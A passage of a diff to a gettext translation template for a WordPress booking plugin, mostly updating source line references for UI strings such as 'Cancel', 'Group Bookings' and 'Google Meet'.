-#: includes/addons/credits/user.php:588
+#: includes/addons/credits/user.php:560
 msgid "Plan/Wallet"
 msgstr ""
 
-#: includes/addons/credits/user.php:599
+#: includes/addons/credits/user.php:571
 msgid "Sessions to add"
 msgstr ""
 
-#: includes/addons/credits/user.php:599
+#: includes/addons/credits/user.php:571
 msgid "Credits to add"
 msgstr ""
 
-#: includes/addons/credits/user.php:604
+#: includes/addons/credits/user.php:576
 #: includes/addons/seasonal-working-hours.php:254
-#: includes/admin/bookings.php:711 includes/custom-texts.php:1169
-#: includes/freeons/categories/categories.php:383
+#: includes/admin/bookings.php:711 includes/custom-texts.php:1175
+#: includes/freeons/categories/categories.php:376
 #: includes/freeons/manual-payments/manual-payments.php:111
 msgid "Note"
 msgstr ""
 
-#: includes/addons/credits/user.php:613
+#: includes/addons/credits/user.php:585
 #: includes/addons/locations/locations-list.php:889
-#: includes/addons/multi-vendor/admin/commissions-list.php:336
-#: includes/addons/multi-vendor/admin/commissions-list.php:1176
+#: includes/addons/multi-vendor/admin/commissions-list.php:343
+#: includes/addons/multi-vendor/admin/commissions-list.php:1243
 #: includes/addons/multi-vendor/admin/vendors-list.php:913
 #: includes/addons/service-providers/workers-list.php:1073
 #: includes/admin/bookings.php:1760 includes/admin/clients.php:850
-#: includes/admin/services-list.php:1299 includes/admin/tinymce.php:298
-#: includes/custom-texts.php:873 includes/custom-texts.php:876
+#: includes/admin/services-list.php:1300 includes/admin/tinymce.php:298
+#: includes/custom-texts.php:882 includes/custom-texts.php:885
 #: includes/freeons/manual-payments/manual-payments.php:120
-#: includes/schedules.php:538
+#: includes/functions.listing.php:249 includes/schedules.php:553
 msgid "Cancel"
 msgstr ""
 
-#: includes/addons/credits/user.php:614
+#: includes/addons/credits/user.php:586
 #: includes/freeons/manual-payments/manual-payments.php:122
 msgid "Add"
 msgstr ""
 
-#: includes/addons/credits/user.php:629 includes/addons/credits/user.php:701
+#: includes/addons/credits/user.php:601 includes/addons/credits/user.php:673
 msgid "User ID not sent"
 msgstr ""
 
-#: includes/addons/credits/user.php:633
+#: includes/addons/credits/user.php:605
 msgid "Please enter a valid credit amount. Credits must be integer"
 msgstr ""
 
-#: includes/addons/credits/user.php:639
+#: includes/addons/credits/user.php:611
 msgid "No plan ID submitted. Refresh the page and try again"
 msgstr ""
 
-#: includes/addons/credits/user.php:655
+#: includes/addons/credits/user.php:627
 #, php-format
 msgid "User #%1$d %2$s: %3$s"
 msgstr ""
 
-#: includes/addons/credits/user.php:657
+#: includes/addons/credits/user.php:629
 #, php-format
 msgid "User #%1$d %2$s deposited"
 msgstr ""
 
-#: includes/addons/credits/user.php:705
+#: includes/addons/credits/user.php:677
 msgid "Credit record ID not sent"
 msgstr ""
 
@@ -1997,7 +1997,7 @@
 msgstr ""
 
 #: includes/addons/event-bookings/event-admin.php:247
-#: includes/admin/services-list.php:1515 includes/constant-data.php:453
+#: includes/admin/services-list.php:1516 includes/constant-data.php:464
 msgid "Background Color"
 msgstr ""
 
@@ -2006,18 +2006,18 @@
 msgstr ""
 
 #: includes/addons/event-bookings/event-admin.php:259
-#: includes/addons/group-bookings.php:116
+#: includes/addons/group-bookings.php:121
 msgid "Group Bookings"
 msgstr ""
 
 #: includes/addons/event-bookings/event-admin.php:262
-#: includes/addons/group-bookings.php:1421
+#: includes/addons/group-bookings.php:1438
 #: includes/addons/multi-vendor/includes/flexible-price.php:362
 #: includes/addons/recurring-appointments.php:1221
 #: includes/addons/service-bundles.php:1167
 #: includes/addons/variable-durations/selectable-durations.php:517
 #: includes/addons/variable-durations/time-variant-durations.php:300
-#: includes/addons/waiting-list.php:940 includes/constant-data.php:355
+#: includes/addons/waiting-list.php:940 includes/constant-data.php:366
 #: includes/freeons/limited-availability.php:228
 msgid "Enable"
 msgstr ""
@@ -2058,7 +2058,8 @@
 msgstr ""
 
 #: includes/addons/event-bookings/event-admin.php:292
-#: includes/custom-texts.php:1053 includes/schedules.php:393
+#: includes/custom-texts.php:1059 includes/functions.listing.php:155
+#: includes/schedules.php:408
 msgid "Location"
 msgstr ""
 
@@ -2087,7 +2088,7 @@
 msgstr ""
 
 #: includes/addons/event-bookings/event-admin.php:325
-#: includes/constant-data.php:670 includes/custom-texts.php:991
+#: includes/constant-data.php:688 includes/custom-texts.php:999
 msgid "Enable Zoom"
 msgstr ""
 
@@ -2229,7 +2230,7 @@
 msgstr ""
 
 #: includes/addons/event-bookings/event-admin.php:538
-#: includes/custom-texts.php:889 includes/custom-texts.php:1275
+#: includes/custom-texts.php:898 includes/custom-texts.php:1281
 #: includes/gateways.php:407 includes/gateways.php:522
 msgid "Security Code"
 msgstr ""
@@ -2264,8 +2265,9 @@
 #: includes/addons/event-bookings/functions.event.php:196
 #: includes/addons/online-meetings/zoom/zoom.php:554
 #: includes/addons/online-meetings/zoom/zoom.php:692
-#: includes/admin/bookings.php:1683 includes/custom-texts.php:1310
-#: includes/custom-texts.php:1380 includes/schedules.php:425
+#: includes/admin/bookings.php:1683 includes/custom-texts.php:1316
+#: includes/custom-texts.php:1385 includes/functions.listing.php:187
+#: includes/schedules.php:440
 msgid "Start"
 msgstr ""
 
@@ -2274,13 +2276,13 @@
 msgstr ""
 
 #: includes/addons/event-bookings/functions.event.php:206
-#: includes/admin/bookings.php:1705 includes/custom-texts.php:981
-#: includes/schedules.php:450
+#: includes/admin/bookings.php:1705 includes/custom-texts.php:989
+#: includes/functions.listing.php:212 includes/schedules.php:465
 msgid "End"
 msgstr ""
 
 #: includes/addons/event-bookings/functions.event.php:213
-#: includes/custom-texts.php:1287 includes/custom-texts.php:1288
+#: includes/custom-texts.php:1293 includes/custom-texts.php:1294
 msgid "Repeat"
 msgstr ""
 
@@ -2356,11 +2358,11 @@
 msgstr ""
 
 #: includes/addons/extras.php:909 includes/addons/service-bundles.php:1285
-#: includes/custom-texts.php:1291
+#: includes/custom-texts.php:1297
 msgid "Select Service"
 msgstr ""
 
-#: includes/addons/extras.php:1091 includes/custom-texts.php:1005
+#: includes/addons/extras.php:1091 includes/custom-texts.php:1013
 msgid "Extra"
 msgstr ""
 
@@ -2415,16 +2417,16 @@
 msgid "Cannot connect to calendar"
 msgstr ""
 
-#: includes/addons/google-calendar.php:337 includes/constant-data.php:458
-#: includes/constant-data.php:464 includes/constant-data.php:471
-#: includes/constant-data.php:474
+#: includes/addons/google-calendar.php:337 includes/constant-data.php:469
+#: includes/constant-data.php:475 includes/constant-data.php:482
+#: includes/constant-data.php:485
 #, php-format
 msgid "%s Appointment"
 msgstr ""
 
 #: includes/addons/google-calendar.php:467
 #: includes/addons/google-calendar.php:1925
-#: includes/addons/google-calendar.php:2128 includes/custom-texts.php:842
+#: includes/addons/google-calendar.php:2128 includes/custom-texts.php:851
 msgid "Google Calendar"
 msgstr ""
 
@@ -2433,70 +2435,70 @@
 msgid "Error getting list of GCal calendars: %s"
 msgstr ""
 
-#: includes/addons/google-calendar.php:935
+#: includes/addons/google-calendar.php:933
 msgid "Blue"
 msgstr ""
 
-#: includes/addons/google-calendar.php:936
+#: includes/addons/google-calendar.php:934
 msgid "Green"
 msgstr ""
 
-#: includes/addons/google-calendar.php:937
+#: includes/addons/google-calendar.php:935
 msgid "Purple"
 msgstr ""
 
-#: includes/addons/google-calendar.php:938
+#: includes/addons/google-calendar.php:936
 msgid "Red"
 msgstr ""
 
-#: includes/addons/google-calendar.php:939
+#: includes/addons/google-calendar.php:937
 msgid "Yellow"
 msgstr ""
 
-#: includes/addons/google-calendar.php:940
+#: includes/addons/google-calendar.php:938
 msgid "Orange"
 msgstr ""
 
-#: includes/addons/google-calendar.php:941
+#: includes/addons/google-calendar.php:939
 msgid "Turquoise"
 msgstr ""
 
-#: includes/addons/google-calendar.php:942
+#: includes/addons/google-calendar.php:940
 msgid "Gray"
 msgstr ""
 
-#: includes/addons/google-calendar.php:943
+#: includes/addons/google-calendar.php:941
 msgid "Bold Blue"
 msgstr ""
 
-#: includes/addons/google-calendar.php:944
+#: includes/addons/google-calendar.php:942
 msgid "Bold Green"
 msgstr ""
 
-#: includes/addons/google-calendar.php:945
+#: includes/addons/google-calendar.php:943
 msgid "Bold Red"
 msgstr ""
 
-#: includes/addons/google-calendar.php:957
+#: includes/addons/google-calendar.php:955
 #: includes/addons/multi-language.php:2191
-#: includes/admin/display-settings.php:238 includes/custom-texts.php:957
+#: includes/admin/display-settings.php:238 includes/custom-texts.php:964
 msgid "Default"
 msgstr ""
 
-#: includes/addons/google-calendar.php:965
+#: includes/addons/google-calendar.php:963
 msgid "GCal Event Color"
 msgstr ""
 
-#: includes/addons/google-calendar.php:967
+#: includes/addons/google-calendar.php:965
 msgid "Google Calendar event background color"
 msgstr ""
 
-#: includes/addons/google-calendar.php:1191
+#: includes/addons/google-calendar.php:1189
 #, php-format
 msgid "Test failed because connection could not be established. Code: %s"
 msgstr ""
 
-#: includes/addons/google-calendar.php:1251
+#: includes/addons/google-calendar.php:1249
 #, php-format
 msgid "GCal insert went wrong for Booking #%1$s. Error: %2$s"
 msgstr ""
@@ -2538,8 +2540,8 @@
 msgid "GCal ID"
 msgstr ""
 
-#: includes/addons/google-calendar.php:2115 includes/custom-texts.php:1017
-#: includes/custom-texts.php:1018
+#: includes/addons/google-calendar.php:2115 includes/custom-texts.php:1024
+#: includes/custom-texts.php:1025
 msgid "Google Meet"
 msgstr ""
 
@@ -2550,7 +2552,11 @@
 msgstr ""
 
 #: includes/addons/google-calendar.php:2117
-msgid "Join Hangouts"
+#: includes/addons/online-meetings/zoom/zoom.php:593
+#: includes/addons/online-meetings/zoom/zoom.php:693
+#: includes/custom-texts.php:792 includes/custom-texts.php:1026
+#: includes/custom-texts.php:1383
+msgid "Join"
 msgstr ""
 
 #: includes/addons/google-calendar.php:2180
@@ -2639,7 +2645,8 @@
 #: includes/addons/multi-vendor/includes/store-settings.php:191
 #: includes/addons/online-meetings/zoom/zoom.php:760
 #: includes/addons/online-meetings/zoom/zoom.php:778
-#: includes/admin/global-settings.php:542
+#: includes/admin/global-settings.php:645
+#: includes/admin/global-settings.php:660
 msgid "Select statuses"
 msgstr ""
 
@@ -2690,7 +2697,7 @@
 #: includes/addons/google-calendar.php:2480
 #: includes/addons/google-calendar.php:2599
 #: includes/addons/google-calendar.php:2693
-#: includes/addons/multi-vendor/admin/commission-settings.php:158
+#: includes/addons/multi-vendor/admin/commission-settings.php:170
 msgid "Website"
 msgstr ""
 
@@ -2807,7 +2814,7 @@
 "this page."
 msgstr ""
 
-#: includes/addons/google-calendar.php:2755 includes/assets.php:367
+#: includes/addons/google-calendar.php:2755 includes/assets.php:337
 msgid ""
 "This action will clear internal authorization token and you will need to "
 "authorize again. Use it if configuration could not be proceeded as described."
@@ -3068,202 +3075,203 @@
 msgid "WP BASE <-> GCal"
 msgstr ""
 
-#: includes/addons/group-bookings.php:388
+#: includes/addons/group-bookings.php:393
 #, php-format
 msgid "This booking is for %d clients"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1355
+#: includes/addons/group-bookings.php:1372
 msgid "Participant name"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1356
+#: includes/addons/group-bookings.php:1373
 msgid "Participant email"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1391
+#: includes/addons/group-bookings.php:1408
 msgid "Group bookings enabled for this service"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1423
+#: includes/addons/group-bookings.php:1440
 msgid "Check to enable seats/pax/guests selection on the front end"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1426
+#: includes/addons/group-bookings.php:1443
 msgid "Minimum Selectable"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1428
+#: includes/addons/group-bookings.php:1445
 msgid ""
 "Minimum number of selectable seats. If left empty, minimum value will be 1. "
 "If minimum and maximum selectables are equal, pax selection element will be "
 "hidden."
 msgstr ""
 
-#: includes/addons/group-bookings.php:1431
+#: includes/addons/group-bookings.php:1448
 msgid "Maximum Selectable"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1433
+#: includes/addons/group-bookings.php:1450
 #, php-format
 msgid ""
 "Maximum number of selectable seats. If left empty, capacity of the service "
 "(%d) will be taken."
 msgstr ""
 
-#: includes/addons/group-bookings.php:1436
+#: includes/addons/group-bookings.php:1453
 msgid "Slot Closed from Pax"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1438
+#: includes/addons/group-bookings.php:1455
 #, php-format
 msgid ""
 "Number of booked seats after which slot will be regarded full. If left "
 "empty, maximum number of selectable seats (%d) will be taken."
 msgstr ""
 
-#: includes/addons/group-bookings.php:1445
+#: includes/addons/group-bookings.php:1462
 msgid "Participant Fields"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1453
+#: includes/addons/group-bookings.php:1470
 msgid "Yes, optional"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1454
+#: includes/addons/group-bookings.php:1471
 msgid "Yes, required"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1456
+#: includes/addons/group-bookings.php:1473
 #, php-format
 msgid ""
 "Whether to allow client provide a list of %s of participants on the "
 "confirmation form."
 msgstr ""
 
-#: includes/addons/group-bookings.php:1464
+#: includes/addons/group-bookings.php:1481
 msgid "Email to Participants"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1467
+#: includes/addons/group-bookings.php:1484
 msgid "Email Types"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1469
+#: includes/addons/group-bookings.php:1486
 msgid ""
 "Participants whose emails are provided may receive copy of the email sent to "
 "the owner of the booking. This setting determines which emails they will "
 "receive."
 msgstr ""
 
-#: includes/addons/group-bookings.php:1472
+#: includes/addons/group-bookings.php:1489
 msgid "Method of Copy"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1474
+#: includes/addons/group-bookings.php:1491
 msgid "Cc"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1475
+#: includes/addons/group-bookings.php:1492
 msgid "Bcc"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1477
+#: includes/addons/group-bookings.php:1494
 msgid ""
 "Copy email can be sent as cc (carbon copy) or bcc (blind carbon copy). In "
 "the latter case, recipients cannot see each other's email address."
 msgstr ""
 
-#: includes/addons/group-bookings.php:1499
+#: includes/addons/group-bookings.php:1516
 msgid "Person Types"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1503
+#: includes/addons/group-bookings.php:1520
 msgid "Add Person Type"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1533
+#: includes/addons/group-bookings.php:1550
 #, php-format
 msgid "Person Type #%d"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1533
+#: includes/addons/group-bookings.php:1550
 msgid "Delete Type"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1536 includes/constant-data.php:636
+#: includes/addons/group-bookings.php:1553 includes/constant-data.php:654
 msgid "Label"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1540
+#: includes/addons/group-bookings.php:1557
 msgid "Label to be displayed on the front end, e.g. Adult, Children"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1543 includes/admin/bookings.php:1581
-#: includes/custom-texts.php:999 includes/custom-texts.php:1235
+#: includes/addons/group-bookings.php:1560 includes/admin/bookings.php:1581
+#: includes/custom-texts.php:1007 includes/custom-texts.php:1240
 msgid "Price"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1545
+#: includes/addons/group-bookings.php:1562
 msgid "Price per person for this type"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1548
+#: includes/addons/group-bookings.php:1565
 #: includes/admin/display-settings.php:208
 msgid "Minimum"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1550
+#: includes/addons/group-bookings.php:1567
 msgid ""
 "Minimum value that can be selected on the front end for this type. If left "
 "empty, zero is assumed except if all types are zero, the first type will be "
 "assumed 1."
 msgstr ""
 
-#: includes/addons/group-bookings.php:1553
+#: includes/addons/group-bookings.php:1570
 #: includes/addons/recurring-appointments.php:1256
 msgid "Maximum"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1555
+#: includes/addons/group-bookings.php:1572
 msgid ""
 "Maximum value that can be selected on the front end for this type. If left "
 "empty, service capacity will be taken as maximum."
 msgstr ""
 
-#: includes/addons/group-bookings.php:1558
+#: includes/addons/group-bookings.php:1575
 msgid "Pax Value"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1560
+#: includes/addons/group-bookings.php:1577
 msgid ""
 "Number of pax each of this type corresponds to. Normally 1, but for a "
 "\"Couples\" person type, you should enter 2."
 msgstr ""
 
-#: includes/addons/group-bookings.php:1576
+#: includes/addons/group-bookings.php:1593
 msgid "Select email types"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1710
+#: includes/addons/group-bookings.php:1731
 msgid "GROUP"
 msgstr ""
 
-#: includes/addons/group-bookings.php:1733 includes/custom-texts.php:1203
-#: includes/custom-texts.php:1269 includes/freeons/test-bookings.php:568
+#: includes/addons/group-bookings.php:1754
+#: includes/addons/group-bookings.php:1816 includes/custom-texts.php:1209
+#: includes/custom-texts.php:1275 includes/freeons/test-bookings.php:568
 msgid "Pax"
 msgstr ""
 
-#: includes/addons/locations.php:112 includes/addons/locations.php:905
+#: includes/addons/locations.php:110 includes/addons/locations.php:884
 #: includes/addons/locations/locations-list.php:94
-#: includes/admin/services-list.php:1186 includes/constant-data.php:446
-#: includes/custom-texts.php:1054 includes/functions.internal.php:1620
+#: includes/admin/services-list.php:1187 includes/constant-data.php:457
+#: includes/custom-texts.php:1060 includes/functions.internal.php:1620
 msgid "Locations"
 msgstr ""
 
-#: includes/addons/locations.php:974
+#: includes/addons/locations.php:953
 #: includes/addons/multi-vendor/admin/vendor-settings.php:168
-#: includes/addons/sms.php:499 includes/admin/global-settings.php:808
+#: includes/addons/sms.php:499 includes/admin/global-settings.php:942
 #: includes/functions.internal.php:2307 includes/functions.internal.php:2325
 msgid "General"
 msgstr ""
@@ -3283,23 +3291,23 @@
 #: includes/addons/locations/locations-list.php:185
 #: includes/addons/service-providers/workers-list.php:230
 #: includes/admin/bookings.php:165 includes/admin/clients.php:171
-#: includes/admin/services-list.php:194 includes/admin/transactions.php:118
+#: includes/admin/services-list.php:195 includes/admin/transactions.php:118
 msgid "Columns"
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:272
 #: includes/addons/service-providers/workers-list.php:317
 #: includes/admin/bookings.php:363 includes/admin/clients.php:293
-#: includes/admin/services-list.php:339 includes/admin/transactions.php:442
-#: includes/schedules.php:1020
+#: includes/admin/services-list.php:340 includes/admin/transactions.php:442
+#: includes/schedules.php:1232
 msgid "Open toolbar"
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:278
 #: includes/addons/service-providers/workers-list.php:323
 #: includes/admin/bookings.php:369 includes/admin/clients.php:299
-#: includes/admin/services-list.php:345 includes/admin/transactions.php:448
-#: includes/schedules.php:1026
+#: includes/admin/services-list.php:346 includes/admin/transactions.php:448
+#: includes/schedules.php:1238
 msgid "Close toolbar"
 msgstr ""
 
@@ -3319,16 +3327,16 @@
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:425
-#: includes/addons/multi-vendor/admin/commissions-list.php:739
+#: includes/addons/multi-vendor/admin/commissions-list.php:746
 #: includes/addons/service-providers/workers-list.php:514
 #: includes/admin/bookings.php:843 includes/admin/dashboard.php:1064
-#: includes/admin/services-list.php:633 includes/admin/transactions.php:603
+#: includes/admin/services-list.php:634 includes/admin/transactions.php:605
 msgid "Filter"
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:439
 #: includes/addons/service-providers/workers-list.php:528
-#: includes/admin/bookings.php:412 includes/admin/services-list.php:647
+#: includes/admin/bookings.php:412 includes/admin/services-list.php:648
 #: includes/admin/transactions.php:492
 msgid "Clear Filters"
 msgstr ""
@@ -3354,17 +3362,17 @@
 #: includes/addons/multi-vendor/admin/vendors-list.php:464
 #: includes/addons/service-providers/workers-list.php:554
 #: includes/admin/bookings.php:709 includes/admin/clients.php:463
-#: includes/custom-texts.php:783 includes/custom-texts.php:1056
+#: includes/custom-texts.php:784 includes/custom-texts.php:1062
 msgid "Address"
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:467
-#: includes/addons/multi-vendor/admin/commissions-list.php:665
+#: includes/addons/multi-vendor/admin/commissions-list.php:672
 #: includes/addons/multi-vendor/admin/vendors-list.php:469
 #: includes/addons/service-providers/workers-list.php:560
 #: includes/admin/bookings.php:716 includes/admin/clients.php:469
-#: includes/admin/services-list.php:536 includes/admin/transactions.php:477
-#: includes/custom-texts.php:1268
+#: includes/admin/services-list.php:537 includes/admin/transactions.php:477
+#: includes/custom-texts.php:1274
 msgid "Search"
 msgstr ""
 
@@ -3378,11 +3386,10 @@
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:487
-#: includes/addons/multi-vendor/admin/commissions-list.php:762
 #: includes/addons/multi-vendor/admin/vendors-list.php:498
 #: includes/addons/service-providers/workers-list.php:580
 #: includes/admin/bookings.php:896 includes/admin/clients.php:491
-#: includes/admin/services-list.php:695
+#: includes/admin/services-list.php:696
 msgid "Change"
 msgstr ""
 
@@ -3392,10 +3399,10 @@
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:587
-#: includes/addons/multi-vendor/admin/commissions-list.php:928
+#: includes/addons/multi-vendor/admin/commissions-list.php:968
 #: includes/addons/multi-vendor/admin/vendors-list.php:611
 #: includes/addons/service-providers/workers-list.php:686
-#: includes/admin/clients.php:581 includes/admin/services-list.php:833
+#: includes/admin/clients.php:581 includes/admin/services-list.php:834
 msgid "No matching records have been found."
 msgstr ""
 
@@ -3403,11 +3410,11 @@
 #: includes/addons/locations/locations-list.php:724
 #: includes/addons/locations/locations-list.php:1369
 #: includes/addons/service-providers.php:686
-#: includes/addons/service-providers.php:893
+#: includes/addons/service-providers.php:895
 #: includes/addons/service-providers/workers-list.php:826
 #: includes/addons/service-providers/workers-list.php:1622
 #: includes/admin/bookings.php:1256 includes/admin/bookings.php:2340
-#: includes/admin/services-list.php:1007 includes/admin/services-list.php:2020
+#: includes/admin/services-list.php:1008 includes/admin/services-list.php:2029
 #, php-format
 msgid "%s is editing"
 msgstr ""
@@ -3425,25 +3432,25 @@
 #: includes/addons/locations/locations-list.php:1007
 #: includes/addons/multi-vendor/admin/vendors-list.php:714
 #: includes/addons/service-providers/workers-list.php:806
-#: includes/admin/services-list.php:1050 includes/admin/services-list.php:1069
-#: includes/admin/services-list.php:1088 includes/admin/services-list.php:1533
+#: includes/admin/services-list.php:1051 includes/admin/services-list.php:1070
+#: includes/admin/services-list.php:1089 includes/admin/services-list.php:1534
 #, php-format
 msgid " and %d more"
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:836
 #: includes/addons/seasonal-working-hours.php:436
-#: includes/addons/user-defined-fields.php:1461 includes/admin/help.php:398
+#: includes/addons/user-defined-fields.php:1476 includes/admin/help.php:398
 #: includes/admin/help.php:404 includes/admin/help.php:410
-#: includes/admin/help.php:416 includes/admin/services-list.php:1166
-#: includes/custom-texts.php:1254
-#: includes/freeons/categories/categories.php:455
+#: includes/admin/help.php:416 includes/admin/services-list.php:1167
+#: includes/custom-texts.php:1260
+#: includes/freeons/categories/categories.php:448
 msgid "Required"
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:849
 #: includes/addons/locations/locations-list.php:859
-#: includes/custom-texts.php:1075
+#: includes/custom-texts.php:1081
 msgid "Manager"
 msgstr ""
 
@@ -3452,13 +3459,13 @@
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:853
-#: includes/admin/services-list.php:1176
+#: includes/admin/services-list.php:1177
 msgid "You"
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:863
-#: includes/addons/waiting-list.php:945 includes/admin/services-list.php:1192
-#: includes/custom-texts.php:882 includes/custom-texts.php:987
+#: includes/addons/waiting-list.php:945 includes/admin/services-list.php:1193
+#: includes/custom-texts.php:891 includes/custom-texts.php:995
 msgid "Capacity"
 msgstr ""
 
@@ -3476,8 +3483,8 @@
 
 #: includes/addons/locations/locations-list.php:875
 #: includes/addons/locations/locations-list.php:1055
-#: includes/admin/services-list.php:1240 includes/admin/services-list.php:1586
-#: includes/custom-texts.php:962
+#: includes/admin/services-list.php:1241 includes/admin/services-list.php:1589
+#: includes/custom-texts.php:969
 msgid "Connected Post"
 msgstr ""
 
@@ -3489,12 +3496,13 @@
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:892
-#: includes/addons/multi-vendor/admin/commissions-list.php:1179
+#: includes/addons/multi-vendor/admin/commissions-list.php:1246
 #: includes/addons/multi-vendor/admin/vendors-list.php:916
 #: includes/addons/service-providers/workers-list.php:1076
 #: includes/admin/bookings.php:1775 includes/admin/clients.php:853
-#: includes/admin/services-list.php:1307 includes/assets.php:360
-#: includes/custom-texts.php:1347 includes/schedules.php:553
+#: includes/admin/services-list.php:1308 includes/assets.php:330
+#: includes/custom-texts.php:1353 includes/functions.listing.php:264
+#: includes/schedules.php:568
 msgid "Update"
 msgstr ""
 
@@ -3507,20 +3515,20 @@
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:970
-#: includes/admin/services-list.php:1501
+#: includes/admin/services-list.php:1502
 msgid "You are not the owner or admin. Changes will not be saved."
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:970
-#: includes/admin/services-list.php:1501
+#: includes/admin/services-list.php:1502
 msgid "(Read Only)"
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:994
 #: includes/addons/seasonal-working-hours.php:553
-#: includes/admin/services-list.php:91 includes/constant-data.php:618
-#: includes/custom-texts.php:865 includes/custom-texts.php:1298
-#: includes/custom-texts.php:1301 includes/functions.internal.php:1629
+#: includes/admin/services-list.php:92 includes/constant-data.php:636
+#: includes/custom-texts.php:874 includes/custom-texts.php:1304
+#: includes/custom-texts.php:1307 includes/functions.internal.php:1629
 #: includes/holidays.php:220 includes/notices.php:399 includes/wh.php:1305
 msgid "Services"
 msgstr ""
@@ -3535,7 +3543,7 @@
 #: includes/addons/multi-vendor/admin/vendor-settings.php:672
 #: includes/addons/seasonal-working-hours.php:530
 #: includes/addons/service-providers/workers-list.php:330
-#: includes/admin/services-list.php:1541 includes/functions.internal.php:1637
+#: includes/admin/services-list.php:1542 includes/functions.internal.php:1637
 #: includes/holidays.php:199 includes/wh.php:1283
 msgid "Service Providers"
 msgstr ""
@@ -3557,19 +3565,19 @@
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:1053
-#: includes/admin/services-list.php:910 includes/admin/services-list.php:1584
-#: includes/admin/services-list.php:1824
+#: includes/admin/services-list.php:911 includes/admin/services-list.php:1587
+#: includes/admin/services-list.php:1833
 #, php-format
 msgid "Created at: %s"
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:1071
-#: includes/admin/services-list.php:1602
+#: includes/admin/services-list.php:1605
 msgid "Main Image"
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:1073
-#: includes/admin/services-list.php:1604 includes/admin/setup.php:113
+#: includes/admin/services-list.php:1607 includes/admin/setup.php:113
 msgid "Upload disabled"
 msgstr ""
 
@@ -3580,7 +3588,7 @@
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:1105
-#: includes/admin/services-list.php:1636
+#: includes/admin/services-list.php:1639
 #, php-format
 msgid "Created by: %s"
 msgstr ""
@@ -3591,8 +3599,8 @@
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:1225
-#: includes/admin/bookings.php:2204 includes/admin/services-list.php:1848
-#: includes/schedules.php:783
+#: includes/admin/bookings.php:2204 includes/admin/services-list.php:1857
+#: includes/functions.listing.php:502 includes/schedules.php:808
 msgid "Record could not be saved!"
 msgstr ""
 
@@ -3601,20 +3609,21 @@
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:1229
-#: includes/addons/multi-vendor/admin/commissions-list.php:1275
+#: includes/addons/multi-vendor/admin/commissions-list.php:1350
 #: includes/addons/multi-vendor/admin/vendors-list.php:1206
 #: includes/addons/service-providers/workers-list.php:1374
 #: includes/admin/bookings.php:2208 includes/admin/clients.php:999
-#: includes/admin/services-list.php:1852
+#: includes/admin/services-list.php:1861
 msgid "Changes saved."
 msgstr ""
 
 #: includes/addons/locations/locations-list.php:1231
-#: includes/addons/multi-vendor/admin/commissions-list.php:1288
+#: includes/addons/multi-vendor/admin/commissions-list.php:1363
 #: includes/addons/multi-vendor/admin/vendors-list.php:1230
 #: includes/addons/service-providers/workers-list.php:1402
 #: includes/admin/bookings.php:2210 includes/admin/clients.php:1017
-#: includes/admin/services-list.php:1854 includes/schedules.php:789
+#: includes/admin/services-list.php:1863 includes/functions.listing.php:508
+#: includes/schedules.php:814
 msgid "You did not make any changes..."
 msgstr ""
 
@@ -3627,11 +3636,11 @@
 msgstr ""
 
 #: includes/addons/multi-language.php:2108
-#: includes/addons/multi-language.php:2153 includes/custom-texts.php:1283
+#: includes/addons/multi-language.php:2153 includes/custom-texts.php:1289
 msgid "Select Language"
 msgstr ""
 
-#: includes/addons/multi-language.php:2109 includes/constant-data.php:402
+#: includes/addons/multi-language.php:2109 includes/constant-data.php:413
 msgid "Default Language"
 msgstr ""
 
@@ -3640,7 +3649,7 @@
 msgstr ""
 
 #: includes/addons/multi-language.php:2188
-#: includes/addons/multi-language.php:2461 includes/custom-texts.php:1045
+#: includes/addons/multi-language.php:2461 includes/custom-texts.php:1052
 msgid "Language"
 msgstr ""
 
@@ -3695,16 +3704,16 @@
 #: includes/addons/multi-vendor.php:133 includes/addons/multi-vendor.php:142
 #: includes/addons/multi-vendor/admin/vendors-list.php:103
 #: includes/addons/multi-vendor/admin/vendors-list.php:284
-#: includes/custom-texts.php:1354
+#: includes/custom-texts.php:1360
 msgid "Vendors"
 msgstr ""
 
 #: includes/addons/multi-vendor.php:134
-#: includes/addons/multi-vendor/admin/commission-settings.php:127
